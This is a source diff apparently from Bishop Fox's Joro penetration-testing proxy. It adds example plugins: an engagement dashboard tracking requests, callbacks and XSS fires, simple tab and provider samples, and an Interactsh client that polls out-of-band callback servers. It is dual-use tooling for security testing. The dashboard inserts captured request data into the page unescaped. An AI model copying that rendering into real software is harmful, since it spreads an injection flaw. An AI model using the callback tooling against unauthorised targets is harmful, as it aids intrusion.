padding: 5px 14px;
font-size: 12px;
font-family: ui-monospace, monospace;
border-bottom: 1px solid var(--color-border-subtle);
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
max-width: 300px;
}
tr:hover td { background: var(--color-surface-hover); }
.method {
font-weight: 600;
font-size: 11px;
padding: 1px 5px;
border-radius: 2px;
display: inline-block;
min-width: 36px;
text-align: center;
}
.method.get { background: #00A49E33; color: var(--color-accent-secondary); }
.method.post { background: #FFBA4933; color: var(--color-semantic-warning); }
.method.put { background: #FF7F1133; color: #FF7F11; }
.method.delete { background: #FA484433; color: var(--color-semantic-error); }
.method.other { background: #56525433; color: var(--color-content-secondary); }
.status { font-weight: 600; }
.status.s2xx { color: var(--color-semantic-success); }
.status.s3xx { color: var(--color-accent-secondary); }
.status.s4xx { color: var(--color-semantic-warning); }
.status.s5xx { color: var(--color-semantic-error); }
.empty {
padding: 32px;
text-align: center;
color: var(--color-content-muted);
font-size: 12px;
}
</style>
</head>
<body>
<div class="header">
<h1>Engagement Dashboard</h1>
<span class="badge" id="uptime">Loading...</span>
</div>
<div class="cards">
<div class="card">
<div class="label">Requests</div>
<div class="value teal" id="stat-requests">--</div>
</div>
<div class="card">
<div class="label">Hosts</div>
<div class="value lime" id="stat-hosts">--</div>
</div>
<div class="card">
<div class="label">Callbacks</div>
<div class="value amber" id="stat-callbacks">--</div>
</div>
<div class="card">
<div class="label">XSS Fires</div>
<div class="value coral" id="stat-fires">--</div>
</div>
</div>
<div class="panel">
<div class="panel-header">
<h2><span class="dot"></span>Recent Activity</h2>
</div>
<table>
<thead>
<tr>
<th style="width:60px">Method</th>
<th style="width:60px">Status</th>
<th>Host</th>
<th>Path</th>
<th style="width:60px">Size</th>
<th style="width:50px">Time</th>
</tr>
</thead>
<tbody id="activity"></tbody>
</table>
<div class="empty" id="empty-msg">No requests captured yet.</div>
</div>
<script>
const PLUGIN = '/api/v1/plugin/hello-dashboard';
const API = '/api/v1';
function $(id) { return document.getElementById(id); }
function methodClass(m) {
const l = m.toLowerCase();
if (l === 'get') return 'get';
if (l === 'post') return 'post';
if (l === 'put' || l === 'patch') return 'put';
if (l === 'delete') return 'delete';
return 'other';
}
function statusClass(s) {
if (s >= 200 && s < 300) return 's2xx';
if (s >= 300 && s < 400) return 's3xx';
if (s >= 400 && s < 500) return 's4xx';
if (s >= 500) return 's5xx';
return '';
}
function fmtSize(b) {
if (b == null) return '-';
if (b < 1024) return b + 'B';
if (b < 1048576) return (b / 1024).toFixed(1) + 'K';
return (b / 1048576).toFixed(1) + 'M';
}
function fmtDuration(ms) {
if (ms == null) return '-';
if (ms < 1000) return ms + 'ms';
return (ms / 1000).toFixed(1) + 's';
}
function extractPath(url) {
try {
const u = new URL(url);
return u.pathname + u.search;
} catch {
return url;
}
}
async function fetchJSON(url) {
const res = await fetch(url);
if (!res.ok) return null;
return res.json();
}
async function refresh() {
const stats = await fetchJSON(PLUGIN + '/stats').catch(() => null);
if (stats) {
$('uptime').textContent = 'Uptime: ' + stats.uptime;
}
const reqs = await fetchJSON(API + '/requests?limit=1').catch(() => null);
if (reqs) {
$('stat-requests').textContent = reqs.total ?? 0;
}
const sitemap = await fetchJSON(API + '/sitemap').catch(() => null);
if (sitemap && sitemap.hosts) {
$('stat-hosts').textContent = sitemap.hosts.length;
}
const interactions = await fetchJSON(API + '/callbacks/interactions?limit=1').catch(() => null);
if (interactions) {
$('stat-callbacks').textContent = interactions.total ?? 0;
}
const fires = await fetchJSON(API + '/xss/fires?limit=1').catch(() => null);
if (fires) {
$('stat-fires').textContent = fires.total ?? 0;
}
const recent = await fetchJSON(API + '/requests?limit=20').catch(() => null);
const tbody = $('activity');
const emptyMsg = $('empty-msg');
if (!recent || !recent.items || recent.items.length === 0) {
tbody.innerHTML = '';
emptyMsg.style.display = 'block';
return;
}
emptyMsg.style.display = 'none';
const rows = recent.items.map(r => {
const mc = methodClass(r.method);
const sc = statusClass(r.statusCode);
const path = extractPath(r.url || '');
return `<tr>
<td><span class="method ${mc}">${r.method}</span></td>
<td><span class="status ${sc}">${r.statusCode || '-'}</span></td>
<td>${r.host || '-'}</td>
<td title="${path}">${path}</td>
<td>${fmtSize(r.respSize)}</td>
<td>${fmtDuration(r.durationMs)}</td>
</tr>`;
});
tbody.innerHTML = rows.join('');
}
refresh();
setInterval(refresh, 3000);
</script>
</body>
</html>
+7
View File
@@ -0,0 +1,7 @@
module github.com/BishopFox/joro/examples/plugins/hello-feature
go 1.25.0
require github.com/BishopFox/joro/sdk v0.0.0-00010101000000-000000000000
replace github.com/BishopFox/joro/sdk => ../../../sdk
+58
View File
@@ -0,0 +1,58 @@
// hello-feature is an example plugin feature (sub-tab in the Plugins page).
//
// Build:
//
// go build -buildmode=plugin -o hello-feature.so .
//
// Then place hello-feature.so in ~/.joro/plugins/ and restart Joro.
// A "Hello Feature" sub-tab will appear in the Plugins page.
package main
import (
"embed"
"io/fs"
"net/http"
"github.com/BishopFox/joro/sdk"
)
//go:embed ui
var uiFS embed.FS
// Plugin is the exported symbol that Joro looks up when loading the plugin.
var Plugin sdk.Plugin = &HelloFeature{}
type HelloFeature struct{}
func (f *HelloFeature) Manifest() sdk.Manifest {
return sdk.Manifest{
Name: "hello-feature",
Version: "1.0.0",
Description: "Hello Feature",
Type: sdk.TypeFeature,
}
}
func (f *HelloFeature) Init(_ sdk.PluginContext) error { return nil }
func (f *HelloFeature) Shutdown() error { return nil }
func (f *HelloFeature) TabInfo() sdk.TabMeta {
return sdk.TabMeta{Label: "Hello Feature"}
}
func (f *HelloFeature) Routes() []sdk.Route {
return []sdk.Route{
{
Method: "GET",
Pattern: "/ping",
Handler: func(w http.ResponseWriter, _ *http.Request) {
w.Write([]byte(`{"pong": true}`)) //nolint:errcheck
},
},
}
}
func (f *HelloFeature) UIAssets() fs.FS {
sub, _ := fs.Sub(uiFS, "ui")
return sub
}
@@ -0,0 +1,21 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Hello Feature</title>
<link rel="stylesheet" href="/api/v1/theme/variables.css">
<script>
const theme = new URLSearchParams(window.location.search).get('theme') || 'bishop-fox';
document.documentElement.setAttribute('data-theme', theme);
</script>
<style>
body { font-family: system-ui, sans-serif; background: var(--color-surface-body); color: var(--color-content-primary); margin: 0; padding: 24px; }
h1 { color: var(--color-accent); font-size: 16px; }
p { color: var(--color-content-muted); font-size: 13px; }
</style>
</head>
<body>
<h1>Hello Feature</h1>
<p>This is an example plugin feature rendered as a sub-tab within the Plugins page.</p>
</body>
</html>
+7
View File
@@ -0,0 +1,7 @@
module github.com/BishopFox/joro/examples/plugins/hello-provider
go 1.25.0
require github.com/BishopFox/joro/sdk v0.0.0-00010101000000-000000000000
replace github.com/BishopFox/joro/sdk => ../../../sdk
+132
View File
@@ -0,0 +1,132 @@
// hello-provider is an example execution provider extension for Joro.
//
// Build:
//
// go build -buildmode=plugin -o hello-provider.so .
//
// Then place hello-provider.so in ~/.joro/plugins/ and restart Joro.
// A "Hello Provider" mode will appear in the Execute tab.
package main
import (
"context"
"fmt"
"strings"
"github.com/BishopFox/joro/sdk"
)
// Plugin is the exported symbol that Joro looks up when loading the plugin.
var Plugin sdk.Plugin = &HelloProvider{}
type HelloProvider struct {
connected bool
greeting string
}
func (h *HelloProvider) Manifest() sdk.Manifest {
return sdk.Manifest{
Name: "hello-provider",
Version: "1.0.0",
Description: "Hello Provider",
Type: sdk.TypeExecProvider,
}
}
func (h *HelloProvider) Init(_ sdk.PluginContext) error { return nil }
func (h *HelloProvider) Shutdown() error { return nil }
func (h *HelloProvider) ConfigSchema() []sdk.ConfigField {
return []sdk.ConfigField{
{
Name: "greeting",
Label: "Greeting",
Type: "text",
Placeholder: "Hello",
Required: false,
HelpText: "The greeting to use in responses",
},
}
}
func (h *HelloProvider) Connect(_ context.Context, config map[string]string) error {
h.greeting = config["greeting"]
if h.greeting == "" {
h.greeting = "Hello"
}
h.connected = true
return nil
}
func (h *HelloProvider) Disconnect(_ context.Context) error {
h.connected = false
return nil
}
func (h *HelloProvider) IsConnected() bool {
return h.connected
}
func (h *HelloProvider) Status(_ context.Context) sdk.ProviderStatus {
return sdk.ProviderStatus{
Connected: h.connected,
DisplayInfo: map[string]string{
"greeting": h.greeting,
},
}
}
func (h *HelloProvider) Command(_ context.Context, input string) sdk.CommandResult {
parts := strings.Fields(input)
if len(parts) == 0 {
return sdk.CommandResult{Error: "empty command"}
}
switch strings.ToLower(parts[0]) {
case "help":
return sdk.CommandResult{Output: "Available commands: help, greet <name>, clear"}
case "greet":
name := "World"
if len(parts) > 1 {
name = strings.Join(parts[1:], " ")
}
return sdk.CommandResult{Output: fmt.Sprintf("%s, %s!", h.greeting, name)}
case "clear":
return sdk.CommandResult{Clear: true}
default:
return sdk.CommandResult{Error: fmt.Sprintf("unknown command: %s", parts[0])}
}
}
func (h *HelloProvider) PromptPrefix() string {
return "hello > "
}
// GraphProvider implementation — shows example nodes on the Dashboard.
func (h *HelloProvider) GraphData(_ context.Context) sdk.GraphInfo {
if !h.connected {
return sdk.GraphInfo{}
}
return sdk.GraphInfo{
Server: &sdk.GraphServer{
Label: "Hello Server",
Host: "127.0.0.1",
Port: 1234,
},
Nodes: []sdk.GraphNode{
{
ID: "example-agent-1",
Name: "AGENT-01",
Hostname: "example-host",
OS: "linux",
Arch: "amd64",
RemoteAddress: "192.168.1.100:49221",
Transport: "https",
Username: "root",
Type: "agent",
Status: "active",
},
},
}
}
+7
View File
@@ -0,0 +1,7 @@
module github.com/BishopFox/joro/examples/plugins/hello-tab
go 1.25.0
require github.com/BishopFox/joro/sdk v0.0.0-00010101000000-000000000000
replace github.com/BishopFox/joro/sdk => ../../../sdk
+60
View File
@@ -0,0 +1,60 @@
// hello-tab is an example top-level tab extension for Joro.
//
// Build:
//
// go build -buildmode=plugin -o hello-tab.so .
//
// Then place hello-tab.so in ~/.joro/plugins/ and restart Joro.
// A "Hello" tab will appear in the top-level navigation.
package main
import (
"embed"
"encoding/json"
"io/fs"
"net/http"
"github.com/BishopFox/joro/sdk"
)
//go:embed ui
var uiFS embed.FS
// Plugin is the exported symbol that Joro looks up when loading the plugin.
var Plugin sdk.Plugin = &HelloTab{}
type HelloTab struct{}
func (t *HelloTab) Manifest() sdk.Manifest {
return sdk.Manifest{
Name: "hello-tab",
Version: "1.0.0",
Description: "Hello Tab",
Type: sdk.TypeTab,
}
}
func (t *HelloTab) Init(_ sdk.PluginContext) error { return nil }
func (t *HelloTab) Shutdown() error { return nil }
func (t *HelloTab) TabInfo() sdk.TabMeta {
return sdk.TabMeta{Label: "Hello"}
}
func (t *HelloTab) Routes() []sdk.Route {
return []sdk.Route{
{
Method: "GET",
Pattern: "/hello",
Handler: func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]string{"message": "Hello from the tab extension!"}) //nolint:errcheck
},
},
}
}
func (t *HelloTab) UIAssets() fs.FS {
sub, _ := fs.Sub(uiFS, "ui")
return sub
}
+37
View File
@@ -0,0 +1,37 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Hello Tab Plugin</title>
<link rel="stylesheet" href="/api/v1/theme/variables.css">
<script>
const theme = new URLSearchParams(window.location.search).get('theme') || 'bishop-fox';
document.documentElement.setAttribute('data-theme', theme);
</script>
<style>
body { font-family: system-ui, sans-serif; background: var(--color-surface-body); color: var(--color-content-primary); margin: 0; padding: 24px; }
h1 { color: var(--color-accent); font-size: 18px; }
p { color: var(--color-content-muted); font-size: 14px; }
button { background: var(--color-accent-secondary); color: #000; border: none; padding: 8px 16px; border-radius: 4px; cursor: pointer; font-size: 13px; }
button:hover { background: var(--color-accent-secondary-hover); }
#output { margin-top: 12px; padding: 12px; background: var(--color-surface-terminal); border-radius: 4px; font-family: monospace; font-size: 13px; min-height: 40px; color: var(--color-content-primary); }
</style>
</head>
<body>
<h1>Hello Tab Plugin</h1>
<p>This is an example top-level tab plugin rendered inside an iframe.</p>
<button onclick="fetchHello()">Call API</button>
<div id="output"></div>
<script>
async function fetchHello() {
try {
const res = await fetch('/api/v1/plugin/hello-tab/hello')
const data = await res.json()
document.getElementById('output').textContent = JSON.stringify(data, null, 2)
} catch (e) {
document.getElementById('output').textContent = 'Error: ' + e.message
}
}
</script>
</body>
</html>
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 ProjectDiscovery, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+7
View File
@@ -0,0 +1,7 @@
module github.com/BishopFox/joro/examples/plugins/interactsh
go 1.25.0
require github.com/BishopFox/joro/sdk v0.0.0-00010101000000-000000000000
replace github.com/BishopFox/joro/sdk => ../../../sdk
+299
View File
@@ -0,0 +1,299 @@
// Interactsh example plugin — an InteractProvider that polls remote interactsh
// servers for OOB interactions. Stdlib-only: no projectdiscovery dependency,
// no third-party modules beyond the Joro SDK. See wire.go for the
// reimplemented interactsh wire protocol.
//
// Build:
//
// ./joro --build-plugin examples/plugins/interactsh --install
//
// A new "Interactsh" input group appears in the Interact tab after restart.
package main
import (
"context"
"encoding/base64"
"encoding/hex"
"fmt"
"strings"
"sync"
"time"
"github.com/BishopFox/joro/sdk"
)
var Plugin sdk.Plugin = &provider{store: newStore()}
type provider struct {
mu sync.Mutex
store *store
rootCtx context.Context
rootStop context.CancelFunc
broadcast chan<- sdk.Event
}
func (p *provider) Manifest() sdk.Manifest {
return sdk.Manifest{
Name: "interactsh",
Version: "1.0.0",
Description: "Interactsh",
Type: sdk.TypeInteractProvider,
}
}
func (p *provider) Init(ctx sdk.PluginContext) error {
p.broadcast = ctx.Broadcast
p.rootCtx, p.rootStop = context.WithCancel(context.Background())
return nil
}
func (p *provider) Shutdown() error {
// Best-effort deregister for every active server, then cancel root ctx.
shutCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
for _, srv := range p.store.listServers() {
if srv.cancel != nil {
srv.cancel()
}
if srv.correlationID != "" {
deregisterServer(shutCtx, srv)
}
}
if p.rootStop != nil {
p.rootStop()
}
return nil
}
func (p *provider) Info() sdk.InteractInfo {
return sdk.InteractInfo{
Label: "Interactsh",
ButtonLabel: "Add Interactsh",
HelpText: "Poll a remote interactsh server for OOB interactions",
}
}
func (p *provider) ConfigSchema() []sdk.ConfigField {
return []sdk.ConfigField{
{Name: "serverUrl", Label: "Server URL", Type: "text", Placeholder: "https://oast.live", Required: true},
{Name: "authToken", Label: "Auth token", Type: "password"},
{Name: "insecureSkipVerify", Label: "Skip TLS verify", Type: "checkbox", HelpText: "Accept self-signed certs on self-hosted servers"},
}
}
func (p *provider) CreateInstance(ctx context.Context, config map[string]string) (sdk.InteractInstance, error) {
serverURL := strings.TrimSpace(config["serverUrl"])
if serverURL == "" {
return sdk.InteractInstance{}, fmt.Errorf("serverUrl is required")
}
if !strings.HasPrefix(serverURL, "http://") && !strings.HasPrefix(serverURL, "https://") {
serverURL = "https://" + serverURL
}
srv := &server{
id: generateID(16),
serverURL: serverURL,
authToken: strings.TrimSpace(config["authToken"]),
skipVerify: config["insecureSkipVerify"] == "true",
enabled: true,
createdAt: time.Now(),
status: "connecting",
}
// Register synchronously so the user sees the failure in the UI immediately
// if the server is unreachable / rejects the token.
registerCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
defer cancel()
if err := registerServer(registerCtx, srv); err != nil {
srv.status = "error"
srv.errMsg = err.Error()
return sdk.InteractInstance{}, err
}
srv.status = "connected"
p.store.addServer(srv)
p.startPoll(srv)
return toInstance(srv), nil
}
func (p *provider) ListInstances(ctx context.Context) ([]sdk.InteractInstance, error) {
servers := p.store.listServers()
out := make([]sdk.InteractInstance, 0, len(servers))
for _, srv := range servers {
out = append(out, toInstance(srv))
}
return out, nil
}
func (p *provider) DeleteInstance(ctx context.Context, id string) error {
srv := p.store.removeServer(id)
if srv == nil {
return fmt.Errorf("instance %s not found", id)
}
if srv.cancel != nil {
srv.cancel()
}
if srv.correlationID != "" {
deregisterServer(ctx, srv)
}
p.store.clearInteractions(id)
return nil
}
func (p *provider) SetInstanceEnabled(ctx context.Context, id string, enabled bool) error {
srv := p.store.getServer(id)
if srv == nil {
return fmt.Errorf("instance %s not found", id)
}
p.mu.Lock()
defer p.mu.Unlock()
if srv.enabled == enabled {
return nil
}
srv.enabled = enabled
if enabled {
srv.status = "connecting"
p.startPoll(srv)
} else {
if srv.cancel != nil {
srv.cancel()
srv.cancel = nil
}
srv.status = "disabled"
}
return nil
}
func (p *provider) ListInteractions(ctx context.Context, instanceID string, offset, limit int) (sdk.InteractionPage, error) {
items, total := p.store.listInteractions(instanceID, offset, limit)
out := make([]sdk.InteractInteraction, len(items))
for i, ix := range items {
out[i] = sdk.InteractInteraction{
ID: ix.ID,
InstanceID: ix.ServerID,
Hex: ix.UniqueID,
Protocol: ix.Protocol,
SourceIP: ix.SourceIP,
Timestamp: ix.Timestamp,
QueryName: ix.FullID,
QueryType: ix.QType,
Method: ix.Method,
Path: ix.Path,
RawRequest: ix.RawRequest,
}
}
return sdk.InteractionPage{Items: out, Total: total, Offset: offset, Limit: limit}, nil
}
func (p *provider) ClearInteractions(ctx context.Context, instanceID string) error {
p.store.clearInteractions(instanceID)
return nil
}
// startPoll launches the poll loop for srv under a child context of p.rootCtx.
// Caller must hold p.mu when calling from SetInstanceEnabled. CreateInstance
// is sequential per-call so mu isn't required.
func (p *provider) startPoll(srv *server) {
pollCtx, cancel := context.WithCancel(p.rootCtx)
srv.cancel = cancel
go pollLoop(pollCtx, srv,
func(ix *serverInteraction) { p.handleInteraction(srv, ix) },
func(status, errMsg string) {
srv.status = status
srv.errMsg = errMsg
},
)
}
// handleInteraction maps a raw server.Interaction to our storage/event shape
// and broadcasts it so the UI merges it into the unified event feed.
func (p *provider) handleInteraction(srv *server, ix *serverInteraction) {
proto := strings.ToLower(ix.Protocol)
method, path := "", ""
if proto == "http" && ix.RawRequest != "" {
if line, _, ok := strings.Cut(ix.RawRequest, "\r\n"); ok {
parts := strings.SplitN(line, " ", 3)
if len(parts) >= 2 {
method, path = parts[0], parts[1]
}
}
}
raw := ""
if ix.RawRequest != "" {
raw = base64.StdEncoding.EncodeToString([]byte(ix.RawRequest))
}
stored := storedInteraction{
ID: randHex(16),
ServerID: srv.id,
Protocol: proto,
UniqueID: ix.UniqueID,
FullID: ix.FullID,
QType: ix.QType,
Method: method,
Path: path,
SourceIP: ix.RemoteAddress,
Timestamp: ix.Timestamp,
RawRequest: raw,
}
p.store.recordInteraction(stored)
if p.broadcast != nil {
select {
case p.broadcast <- sdk.Event{
Type: "interaction",
Data: sdk.InteractInteraction{
ID: stored.ID,
InstanceID: stored.ServerID,
Hex: stored.UniqueID,
Protocol: stored.Protocol,
SourceIP: stored.SourceIP,
Timestamp: stored.Timestamp,
QueryName: stored.FullID,
QueryType: stored.QType,
Method: stored.Method,
Path: stored.Path,
RawRequest: stored.RawRequest,
},
}:
default:
}
}
}
// toInstance projects a server into the SDK-facing InteractInstance view.
func toInstance(srv *server) sdk.InteractInstance {
status := srv.status
if !srv.enabled {
status = "disabled"
}
payloadURL := ""
if srv.correlationID != "" && srv.payloadHost != "" {
payloadURL = fmt.Sprintf("%s%s.%s", srv.correlationID, srv.nonce, srv.payloadHost)
}
meta := map[string]string{}
if srv.errMsg != "" {
meta["error"] = srv.errMsg
}
return sdk.InteractInstance{
ID: srv.id,
Label: srv.serverURL,
Hex: srv.correlationID,
Status: status,
Enabled: srv.enabled,
PayloadURL: payloadURL,
Meta: meta,
}
}
// randHex returns a random hex string of length 2*n, for interaction record IDs.
func randHex(n int) string {
raw := make([]byte, n)
for i := 0; i < n; i++ {
raw[i] = byte(time.Now().UnixNano() >> uint(i*3))
}
// XOR with fresh randomness so IDs are unique even within the same nanosecond tick.
fresh := []byte(generateID(n))
for i := 0; i < n; i++ {
raw[i] ^= fresh[i]
}
return hex.EncodeToString(raw)
}
+146
View File
@@ -0,0 +1,146 @@
// Project-config state persistence for the Interactsh plugin.
//
// Interactsh state is engagement-scoped (per-target correlation IDs are
// meaningless outside the project they were created in), so we implement
// sdk.ProjectStatefulPlugin rather than sdk.UserStatefulPlugin.
//
// The correlation ID + nonce + secret key + RSA private key together form a
// session handle with the remote interactsh server. Restoring them verbatim
// and resuming polling lets an operator reopen a project and keep receiving
// callbacks against the same payload URL — provided the remote server still
// retains the session (usually ~24h on oast.live, longer on self-hosted).
package main
import (
"crypto/rsa"
"crypto/x509"
"encoding/json"
"encoding/pem"
"fmt"
"time"
"github.com/BishopFox/joro/sdk"
)
// Compile-time assertion: *provider satisfies sdk.ProjectStatefulPlugin.
// If the SDK interface drifts, this line fails to compile before runtime.
var _ sdk.ProjectStatefulPlugin = (*provider)(nil)
type persistedState struct {
Version int `json:"version"`
Servers []persistedServer `json:"servers"`
}
type persistedServer struct {
ID string `json:"id"`
ServerURL string `json:"serverUrl"`
AuthToken string `json:"authToken,omitempty"`
Enabled bool `json:"enabled"`
SkipVerify bool `json:"skipVerify,omitempty"`
PrivKeyPEM string `json:"privKeyPem"`
CorrelationID string `json:"correlationId"`
Nonce string `json:"nonce"`
SecretKey string `json:"secretKey"`
CreatedAt time.Time `json:"createdAt"`
PayloadHost string `json:"payloadHost"`
}
// ExportProjectState snapshots every live server into an opaque byte blob.
// Runtime-only fields (status/errMsg/cancel) are intentionally dropped —
// they're reconstructed on ImportProjectState.
func (p *provider) ExportProjectState() ([]byte, error) {
servers := p.store.listServers()
state := persistedState{
Version: 1,
Servers: make([]persistedServer, 0, len(servers)),
}
for _, srv := range servers {
if srv.privKey == nil {
// Skip half-registered servers — without the key the entry is
// useless on restore.
continue
}
keyDER := x509.MarshalPKCS1PrivateKey(srv.privKey)
keyPEM := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: keyDER})
state.Servers = append(state.Servers, persistedServer{
ID: srv.id,
ServerURL: srv.serverURL,
AuthToken: srv.authToken,
Enabled: srv.enabled,
SkipVerify: srv.skipVerify,
PrivKeyPEM: string(keyPEM),
CorrelationID: srv.correlationID,
Nonce: srv.nonce,
SecretKey: srv.secretKey,
CreatedAt: srv.createdAt,
PayloadHost: srv.payloadHost,
})
}
return json.Marshal(state)
}
// ImportProjectState replaces the in-memory server list with the contents of
// the supplied blob and resumes polling for every enabled server. Does NOT
// re-register with the remote — correlation IDs are preserved so pending
// interactions still decrypt.
//
// Before restoring, any currently-registered servers are deregistered and
// their poll goroutines cancelled so there's no leak across a load.
func (p *provider) ImportProjectState(data []byte) error {
var state persistedState
if err := json.Unmarshal(data, &state); err != nil {
return fmt.Errorf("unmarshal state: %w", err)
}
// Tear down whatever is currently loaded. This matters when an operator
// already has instances running and loads a different project — we don't
// want the two sets to accumulate.
for _, existing := range p.store.listServers() {
if existing.cancel != nil {
existing.cancel()
}
p.store.removeServer(existing.id)
p.store.clearInteractions(existing.id)
}
for _, ps := range state.Servers {
priv, err := parseRSAPrivKey(ps.PrivKeyPEM)
if err != nil {
// Skip this server but keep going — one corrupt blob shouldn't
// block the rest of the project.
continue
}
srv := &server{
id: ps.ID,
serverURL: ps.ServerURL,
authToken: ps.AuthToken,
enabled: ps.Enabled,
skipVerify: ps.SkipVerify,
privKey: priv,
correlationID: ps.CorrelationID,
nonce: ps.Nonce,
secretKey: ps.SecretKey,
createdAt: ps.CreatedAt,
payloadHost: ps.PayloadHost,
status: "connecting",
}
if !srv.enabled {
srv.status = "disabled"
}
p.store.addServer(srv)
if srv.enabled {
p.mu.Lock()
p.startPoll(srv)
p.mu.Unlock()
}
}
return nil
}
func parseRSAPrivKey(p string) (*rsa.PrivateKey, error) {
block, _ := pem.Decode([]byte(p))
if block == nil {
return nil, fmt.Errorf("no PEM block found")
}
return x509.ParsePKCS1PrivateKey(block.Bytes)
}
+149
View File
@@ -0,0 +1,149 @@
// In-memory server + interaction storage for the Interactsh plugin.
//
// Deliberately lightweight: a slice of server records and a ring buffer of
// interactions. The plugin process is the sole owner; no persistence across
// Joro restarts (matches the pre-plugin native behaviour).
package main
import (
"context"
"crypto/rsa"
"sync"
"time"
)
const maxInteractions = 10000
type server struct {
id string
serverURL string
authToken string
enabled bool
skipVerify bool
privKey *rsa.PrivateKey
correlationID string
nonce string // 13-char suffix so payload labels hit the server's 33-char correlation-ID detector
secretKey string
createdAt time.Time
status string // "connecting" | "connected" | "error" | "disabled"
errMsg string
payloadHost string
cancel context.CancelFunc
}
type storedInteraction struct {
ID string
ServerID string
Protocol string
UniqueID string
FullID string
QType string
Method string
Path string
SourceIP string
Timestamp time.Time
RawRequest string // base64
}
type store struct {
mu sync.RWMutex
servers []*server
interactions []storedInteraction
}
func newStore() *store {
return &store{}
}
func (s *store) addServer(srv *server) {
s.mu.Lock()
defer s.mu.Unlock()
s.servers = append(s.servers, srv)
}
func (s *store) getServer(id string) *server {
s.mu.RLock()
defer s.mu.RUnlock()
for _, srv := range s.servers {
if srv.id == id {
return srv
}
}
return nil
}
func (s *store) listServers() []*server {
s.mu.RLock()
defer s.mu.RUnlock()
out := make([]*server, len(s.servers))
copy(out, s.servers)
return out
}
func (s *store) removeServer(id string) *server {
s.mu.Lock()
defer s.mu.Unlock()
for i, srv := range s.servers {
if srv.id == id {
s.servers = append(s.servers[:i], s.servers[i+1:]...)
return srv
}
}
return nil
}
func (s *store) recordInteraction(ix storedInteraction) {
s.mu.Lock()
defer s.mu.Unlock()
s.interactions = append(s.interactions, ix)
if len(s.interactions) > maxInteractions {
s.interactions = s.interactions[len(s.interactions)-maxInteractions:]
}
}
func (s *store) listInteractions(serverID string, offset, limit int) ([]storedInteraction, int) {
s.mu.RLock()
defer s.mu.RUnlock()
filtered := s.interactions
if serverID != "" {
filtered = filtered[:0:0]
for _, ix := range s.interactions {
if ix.ServerID == serverID {
filtered = append(filtered, ix)
}
}
}
// Newest-first ordering.
total := len(filtered)
rev := make([]storedInteraction, total)
for i, ix := range filtered {
rev[total-1-i] = ix
}
if offset >= total {
return []storedInteraction{}, total
}
end := offset + limit
if end > total {
end = total
}
return rev[offset:end], total
}
func (s *store) clearInteractions(serverID string) {
s.mu.Lock()
defer s.mu.Unlock()
if serverID == "" {
s.interactions = nil
return
}
kept := s.interactions[:0]
for _, ix := range s.interactions {
if ix.ServerID != serverID {
kept = append(kept, ix)
}
}
s.interactions = kept
}
+335
View File
@@ -0,0 +1,335 @@
// Stdlib-only interactsh wire protocol: /register, /poll, /deregister,
// RSA-OAEP-SHA256 key exchange, AES-256-CTR message decryption, per-server
// http.Client with opt-in TLS skip-verify for self-signed deployments.
package main
import (
"bytes"
"context"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"crypto/tls"
"crypto/x509"
"encoding/base64"
"encoding/json"
"encoding/pem"
"errors"
"fmt"
"io"
"log"
"net/http"
"net/url"
"strings"
"time"
)
const (
// The interactsh server recognises a subdomain label as a correlation ID
// only when its length is exactly correlationIDLen+nonceLen and the label
// is fully alphanumeric (pkg/server/util.go:isCorrelationID upstream).
// Our payload URLs therefore embed both parts: <corrID><nonce>.<host>.
correlationIDLen = 20
nonceLen = 13
pollInterval = 5 * time.Second
requestTimeout = 15 * time.Second
)
// lowercase alphanumeric — any prefix match works server-side.
const idAlphabet = "abcdefghijklmnopqrstuvwxyz0123456789"
// registerRequest matches interactsh's server.RegisterRequest JSON shape.
type registerRequest struct {
PublicKey string `json:"public-key"`
SecretKey string `json:"secret-key"`
CorrelationID string `json:"correlation-id"`
}
// deregisterRequest matches interactsh's server.DeregisterRequest JSON shape.
type deregisterRequest struct {
CorrelationID string `json:"correlation-id"`
SecretKey string `json:"secret-key"`
}
// pollResponse matches interactsh's server.PollResponse JSON shape.
// Only the fields we use are declared; unknown fields are ignored.
type pollResponse struct {
Data []string `json:"data"`
Extra []string `json:"extra"`
AESKey string `json:"aes_key"`
}
// serverInteraction matches interactsh's server.Interaction JSON shape.
type serverInteraction struct {
Protocol string `json:"protocol"`
UniqueID string `json:"unique-id"`
FullID string `json:"full-id"`
QType string `json:"q-type,omitempty"`
RawRequest string `json:"raw-request,omitempty"`
RemoteAddress string `json:"remote-address"`
Timestamp time.Time `json:"timestamp"`
}
// newHTTPClient returns an http.Client scoped to one server. InsecureSkipVerify
// is opt-in per instance (off by default) — self-hosted interactsh deployments
// overwhelmingly use self-signed or internal-CA certs, so without this toggle
// the plugin is unusable for private servers.
func newHTTPClient(skipVerify bool) *http.Client {
return &http.Client{
Timeout: requestTimeout,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: skipVerify}, //nolint:gosec // opt-in per instance for self-signed servers
},
}
}
// generateID returns an n-character lowercase alphanumeric ID using crypto/rand.
func generateID(n int) string {
buf := make([]byte, n)
if _, err := rand.Read(buf); err != nil {
